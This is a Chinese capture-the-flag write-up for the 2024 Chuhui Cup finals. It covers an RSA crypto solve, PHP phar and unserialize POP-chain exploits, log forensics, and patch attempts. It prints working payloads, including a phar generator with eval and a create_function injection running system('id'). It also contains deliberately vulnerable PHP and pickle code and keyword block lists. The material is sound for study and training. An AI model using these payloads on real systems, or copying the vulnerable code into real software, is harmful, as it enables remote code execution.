2024 楚慧杯决赛 wp

楚慧杯决赛wp

团队比赛+复现wp

Break

Crypto

Crypto1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from functools import reduce
from Crypto.Util.number import *
from operator import mul
from secrets import flag

small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]
def gen_prime(bits, lim = 7, sz = 20):
while True:
p = reduce(mul,[getPrime(sz) for _ in range(bits//sz)])
for i in range(lim):
if isPrime(p+1):
return p+1
p *= small_primes[i]

p = gen_prime(512)
q = gen_prime(512)
n = p*q
e = 0x10001

m_1 = bytes_to_long(flag[:len(flag) // 2])
m_2 = bytes_to_long(flag[len(flag) // 2:])

c_1 = pow(m_1, e, n)
c_2 = pow(e, m_2, n)

print(f'n = {n}')
print(f'c_1 = {c_1}')
print(f'c_2 = {c_2}')

# n = 127253273656755041488061369327088666642658775150495004366734207251894053962795751622161708537666419494472986448057578123084334734003516808810993297670864587942963094922535025747145569669008578643232131137540834194554273087372338583584899887807562752077414752047575492161255201233084800885495422227087041

# c_1 = 57974701828832728577967450465255788289923655791414772437088078343474290797872710812238826926559487379480041620453016799514334887870064277070080870305537633158647391760915619606965385553888677686830658607302407071864404909932680594946855739256156855739204639535723294574774070264939278760140163103832650

# c_2 = 55312120533067544987183869320534977277494480648083277810412946782179206524603471723382520688342053257844455599889227031261498427604180888592220640480807184227590167045531489390410336954305032937351566198667403155696242903124672179982018054628152426002330933819747747129472442087675331347179609346470886

p= 310781483451822760796833527510084047853399062495568537008494292270487900242162745833794816660501321767112785125637571530603171746513707556647714336451011
q= 409462211980469552071309639319104728539441581378605880654700304489701003114499194915376630667882386842909779181691553744412065040111313405590451218731


  • p-1光滑,很容易分解n,解rsa求得第一部分

  • 第二部分分别在模p、q下使用ph算法加crt求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from gmpy2 import *

def Pollards_p_1(N):
a = 2
n = 2
while True:
a = pow(a, n, N)
res = gcd(a-1, N)
if res != 1 and res != N:
print('n =', n)
print('p =', res)
return res

if __name__ == '__main__':
p= 310781483451822760796833527510084047853399062495568537008494292270487900242162745833794816660501321767112785125637571530603171746513707556647714336451011
q= 409462211980469552071309639319104728539441581378605880654700304489701003114499194915376630667882386842909779181691553744412065040111313405590451218731
n = 127253273656755041488061369327088666642658775150495004366734207251894053962795751622161708537666419494472986448057578123084334734003516808810993297670864587942963094922535025747145569669008578643232131137540834194554273087372338583584899887807562752077414752047575492161255201233084800885495422227087041
c_1 = 57974701828832728577967450465255788289923655791414772437088078343474290797872710812238826926559487379480041620453016799514334887870064277070080870305537633158647391760915619606965385553888677686830658607302407071864404909932680594946855739256156855739204639535723294574774070264939278760140163103832650
c_2 = 55312120533067544987183869320534977277494480648083277810412946782179206524603471723382520688342053257844455599889227031261498427604180888592220640480807184227590167045531489390410336954305032937351566198667403155696242903124672179982018054628152426002330933819747747129472442087675331347179609346470886
e = 0x10001
phi = (p-1)*(q-1)
d = inverse(e,phi)

print(long_to_bytes(int(pow(c_1,d,n))),end='')
# 第二部分 ph算法加crt求解

G1 = GF(p)
G2 = GF(q)
c1 = G1(c_2)
c2 = G2(c_2)
g1 = G1(0x10001)
g2 = G2(0x10001)
k1 = discrete_log(c1, g1)
k2 = discrete_log(c2, g2)
m = crt([k1, k2], [p - 1, q - 1])
#print(m)
print(long_to_bytes(m))
1
b'DASCTF{5mo0th_Number_'b'1s_very_dang3r0us!!!}'

Web

Web1-Python-pickle反序列化

  • break时候这题环境一直打不开,比完赛也打不开,等于没有
  • 还在努力做当中,目前exp还没有调通

Web2 - phar反序列化

  • file=show.php读源码
  • show.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
class sing{
public $apple;
public $range;
public function __destruct()
{
if($this->range == "range"){
echo "apple is ?".$this->apple;
}
}
}

class song{
public $banana; //banana 可控,让他指向的方法ernb()不存在,触发__call
public $abble;
public function __toString()//对象当做字符串的时候,会触发__toString
{
if($this->abble == "abble"){
return $this->banana->ernb();//banana 可控,让他指向的方法ernb()不存在,触发__call
}
}
}

class rap{
public $text;
public function __call($name, $arguments)//$test->bucunzai('123','456')调用一个不存在的方法时,会触发__call
{
return $this->text->aaabbb; //text 可控,让他指向的属性aaabbb不存在,触发__get
}
}

class basketball{
public $payload; //payload 可控
public function __get($name)//调用一个不存在的属性时,会触发__get
{
if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){
@eval($this->payload);
}
}
}

if (isset($_GET['file'])) {
$imagePath = $_GET['file'];
if (preg_match("/(\/flag|\/fl|\/f|sort)/i", $imagePath)){
exit();
}

$imageData = file_get_contents($imagePath);

if ($imageData !== false) {

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_buffer($finfo, $imageData);
finfo_close($finfo);

header("Content-Type: $mimeType");

echo $imageData;
exit;
} else {
echo "Image cannot be read.";
}
}
?>

POP:class sing::__destruct() => class song::__toString() => class rap::__call() => class basketball::__get()

file=phar://uploads/test.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class sing{
public $apple;
public $range = "range";
}

class song{
public $banana;
public $abble = "abble";
}

class rap{
public $text;
}

class basketball{
public $payload;
}

$a = new sing();
$b = new song();
$c = new rap();
$d = new basketball();

$a -> range = $b;//echo并且指向新的song对象,触发song的__toString()方法
$b -> banana = $c;//c中不存在方法
$c -> text = $d;//
$d -> payload = 'echo `ls`'; //命令自己调整

$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //触发的开始是sing(),所以传$a 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

?>

.phar重命名为.jpg

1
http://ip:port/show.php?file=phar://uploads/test.jpg 

上面命令自己调整

Web3 - php反序列化

safe::__destruct() -> unsafe::__toString

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class safe {
public $password;
}

class unsafe {
public $username;
}

$safe = new safe();
$unsafe = new unsafe();
$unsafe->username = 519651;
$safe->password = $unsafe;

echo serialize($safe);
  • But 至于这里为什么是519651呢,我当然是看不出来的,也是请教了My0n9s师傅,

    1
    $this->username = $this->username . "hack me!";
    • 出题人大哥这是把$this->usernamehack me!拼接到一起了啊!!!
    • image-20250106144413799

image-20250106144136528

分析参数

  • **action=\create_function**:

    • create_function 是PHP中的一个函数,用于动态创建一个匿名函数。
    • 反斜杠 \ 为了绕过过滤
  • **arg=return;}system('id');**:

    • 这是传递给 create_function 的参数。

    • create_function 的语法是:

      1
      create_function(string $args, string $code)

      其中:

      • $args 是函数的参数列表。
      • $code 是函数体的代码。
    • 在这里,arg=return;}system('id'); 被解释为:

      • $args = "return;"
      • $code = "}system('id');"

构造的恶意代码

将参数组合起来,create_function 的调用会生成以下代码:

1
create_function("return;", "}system('id');");

生成的匿名函数类似于:

1
2
3
4
function anonymous() {
return;
}
system('id');
  • payload
1
2
3
GET /?action=\create_function&arg=return;}system('id');//
POST:
unsafe=O:4:"safe":1:{s:8:"password";O:6:"unsafe":1:{s:8:"username";i:519651;}}

image-20250106144616495

Misc

break-getget_log

在日志中对加密内容解密,找到上传的flag.zip文件

屏幕截图 2025-01-03 111511

base64解码

image-20250103120741264

导出为zip文件,解压需要密码

image-20250103120853699

同理可以在日志中找到压缩包密码

屏幕截图 2025-01-03 111427

Fix

Web

  • AWDP纯小白,第一次参加线下,根本不知道咋打,也不知道给我修的那个度是多大,源码不敢乱删乱注释,也不知道check是咋个check,纯是小白去学习了。

Web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64

# 创建一个Flask应用实例
app = Flask(__name__)

# 设置应用的密钥,用于加密session数据
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'

# 用户数据存储目录
USERS_DIR = "users"

# 如果用户数据存储目录不存在,则创建它
if not os.path.exists(USERS_DIR):
os.makedirs(USERS_DIR)


# 注册路由,处理用户注册请求
@app.route('/reg', methods=['POST'])
def register():
# 从表单中获取用户名和密码
username = request.form.get('username')
password = request.form.get('password')

# 创建用户数据字典
user_data = {
'username': username,
'password': password,
}

# 将用户名进行base64编码,并生成用户数据文件的路径
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')

# 将用户数据序列化并写入文件
with open(user_file, 'wb') as file:
pickle.dump(user_data, file)

# 返回注册成功的消息
return "Registration successful"


# 注册页面路由,返回注册页面的HTML模板
@app.route('/register')
def register_page():
return render_template('register.html')


# 登录路由,处理用户登录请求
@app.route('/login', methods=['POST'])
def login():
# 从表单中获取用户名和密码
username = request.form.get('username')
password = request.form.get('password')

# 将用户名进行base64编码,并生成用户数据文件的路径
user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')

# 检查用户数据文件是否存在
if os.path.exists(user_file):
# 如果存在,读取用户数据
with open(user_file, 'rb') as file:
stored_data = pickle.load(file)
# 检查密码是否匹配
if password == stored_data['password']:
# 登录成功,将用户数据序列化并编码后存入session
session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8')
# 重定向到首页
return redirect(url_for('index'))

# 登录失败,返回失败消息
return "Login failed"


# 首页路由,显示用户登录后的首页
@app.route('/index')
def index():
# 从session中获取用户数据
data = session.get('data', None)
if data:
# 解码用户数据
data = base64.b64decode(data)
# 检查是否存在恶意数据
if b'R' in data or b'built' in data or b'setstate' in data:
return "hacker???"
# 反序列化用户数据
user_data = pickle.loads(data)
username = user_data['username']
# 渲染首页模板,并传递用户名
return render_template('index.html', username=username)
else:
# 如果session中没有用户数据,重定向到登录页面
return redirect(url_for('login_page'))


# 登录页面路由,返回登录页面的HTML模板
@app.route('/')
def login_page():
return render_template('login.html')


# 登出路由,处理用户登出请求
@app.route('/logout', methods=['POST'])
def logout():
# 清除session中的用户数据
session.pop('data', None)
# 重定向到登录页面
return redirect(url_for('login_page'))


# 下载缓存文件路由,允许用户下载缓存文件
@app.route('/cache')
def download_cache_file():
# 文件路径,根据你的项目结构可能需要调整
cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')

# 检查文件是否存在
if os.path.exists(cache_file_path):
# 如果存在,返回文件作为附件下载
return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path),
as_attachment=True)
else:
# 如果文件不存在,返回文件未找到的消息
return "Cache file not found"


# 运行Flask应用
if __name__ == '__main__':
app.run(host='0.0.0.0')

Web2

  • 群里不少师傅说这题删eval可以过check,但是我比赛第一轮这么干的没成功呢。

  • 我觉得要是去fix其他的话,倒是做过一题类似可能用得上的,但是比赛时候断网,本地没保存。

    [NSSRound#4 SWPU]1zweb-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

<!-- class sing::__destruct() => class song::__toString() => class rap::__call() => class basketball::__get() -->
<?php
class sing{
public $apple;
public $range;
public function __destruct()
{
if($this->range == "range"){
echo "apple is ?".$this->apple;
}
}
}

class song{
public $banana; //banana 可控,让他指向的方法ernb()不存在,触发__call
public $abble;
public function __toString()//对象当做字符串的时候,会触发__toString
{
if($this->abble == "abble"){
return $this->banana->ernb();//banana 可控,让他指向的方法ernb()不存在,触发__call
}
}
}

class rap{
public $text;
public function __call($name, $arguments)//$test->bucunzai('123','456')调用一个不存在的方法时,会触发__call
{
return $this->text->aaabbb; //text 可控,让他指向的属性aaabbb不存在,触发__get
}
}

class basketball{
public $payload; //payload 可控
public function __get($name)//$test -> name2 调用一个不存在的属性时,会触发__get
{
if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){
@eval($this->payload);
}
}
}


if (isset($_GET['file'])) {
$imagePath = $_GET['file'];
if (preg_match("/(\/flag|\/fl|\/f|sort)/i", $imagePath)){
exit();
}

$imageData = file_get_contents($imagePath);

if ($imageData !== false) {

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_buffer($finfo, $imageData);
finfo_close($finfo);

header("Content-Type: $mimeType");

echo $imageData;
exit;
} else {
echo "Image cannot be read.";
}
}
?>

Web3

  • 反序列化漏洞文件index.php如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
error_log(0);
session_start();

class safe {
public $password;
public function __destruct() {
echo $this->password;
}
}

class unsafe {
public $username;
public function __toString() {
$action = $_GET['action'] ?: '';
$arg = $_GET['arg'] ?: '';
$this->username = $this->username . "hack me!";
if (preg_match('/^[a-z0-9_]*$|\n/isD', $action)) { //这个地方需要加WAF
echo "Do it another way";
} else {
if (substr(md5($this->username), 0, 5) == 'ae471') { //这个地方我把ae471改掉了
$action('', $arg);
}
}
return "__toString was called!";
}
}

// 创建 SQLite3 数据库连接
$db = new SQLite3('users.db');

// 创建用户表(如果不存在)
$db->exec('CREATE TABLE IF NOT EXISTS users (username TEXT, password TEXT)');

// 插入一些示例用户数据(仅在表为空时)
$result = $db->query('SELECT COUNT(*) as count FROM users');
$row = $result->fetchArray();
if ($row['count'] == 0) {
$db->exec("INSERT INTO users (username, password) VALUES ('user1', 'password1')");
$db->exec("INSERT INTO users (username, password) VALUES ('user2', 'password2')");
}

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

// 查询数据库以验证用户
$stmt = $db->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$stmt->bindValue(':password', $password, SQLITE3_TEXT);
$result = $stmt->execute();

if ($result->fetchArray()) {
$_SESSION['username'] = $username;
echo "登录成功!欢迎你," . htmlspecialchars($username) . "。";
} else {
echo "用户名或密码错误。";
}
}

if (isset($_SESSION['username'])) {
echo "你已经登录,用户名:" . htmlspecialchars($_SESSION['username']) . "。";
} else {
echo '<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录页面</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="login-container">
<div class="login-box">
<h2>用户登录</h2>
<form method="POST">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" id="username" name="username" placeholder="请输入用户名" required>
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" placeholder="请输入密码" required>
</div>
<button type="submit">登录</button>
</form>
</div>
</div>
</body>
</html>';
}

if (isset($_POST["unsafe"])) {
unserialize($_POST["unsafe"]);
}
?>
  • 首先应该只改一个md5就行,毕竟你md5源码值都改了,payload肯定打不进来,咋样md5都不一样
  • fix代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
error_log(0);
session_start();

class safe {
public $password;
public function __destruct() {
echo $this->password;
}
}

class unsafe {
public $username;
public function __toString() {
$action = $_GET['action'] ?: '';
$arg = $_GET['arg'] ?: '';
$this->username = $this->username . "hack me!";
if (preg_match('/^[a-z0-9_]*$|\n/isD', $action)||preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $action)) {
echo "Do it another way";
} else {
if (substr(md5($this->username), 0, 5) == '111111') {
$action('', $arg);
}
}
return "__toString was called!";
}
}

// 创建 SQLite3 数据库连接
$db = new SQLite3('users.db');

// 创建用户表(如果不存在)
$db->exec('CREATE TABLE IF NOT EXISTS users (username TEXT, password TEXT)');

// 插入一些示例用户数据(仅在表为空时)
$result = $db->query('SELECT COUNT(*) as count FROM users');
$row = $result->fetchArray();
if ($row['count'] == 0) {
$db->exec("INSERT INTO users (username, password) VALUES ('user1', 'password1')");
$db->exec("INSERT INTO users (username, password) VALUES ('user2', 'password2')");
}

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

// 查询数据库以验证用户
$stmt = $db->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$stmt->bindValue(':password', $password, SQLITE3_TEXT);
$result = $stmt->execute();

if ($result->fetchArray()) {
$_SESSION['username'] = $username;
echo "登录成功!欢迎你," . htmlspecialchars($username) . "。";
} else {
echo "用户名或密码错误。";
}
}

if (isset($_SESSION['username'])) {
echo "你已经登录,用户名:" . htmlspecialchars($_SESSION['username']) . "。";
} else {
echo '<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录页面</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="login-container">
<div class="login-box">
<h2>用户登录</h2>
<form method="POST">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" id="username" name="username" placeholder="请输入用户名" required>
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" placeholder="请输入密码" required>
</div>
<button type="submit">登录</button>
</form>
</div>
</div>
</body>
</html>';
}

if (isset($_POST["unsafe"])) {
unserialize($_POST["unsafe"]);
}
?>

2024 楚慧杯决赛 wp
https://xu17.top/2025/01/04/楚慧杯决赛wp/
作者
XU17
发布于
2025年1月4日
许可协议
XU17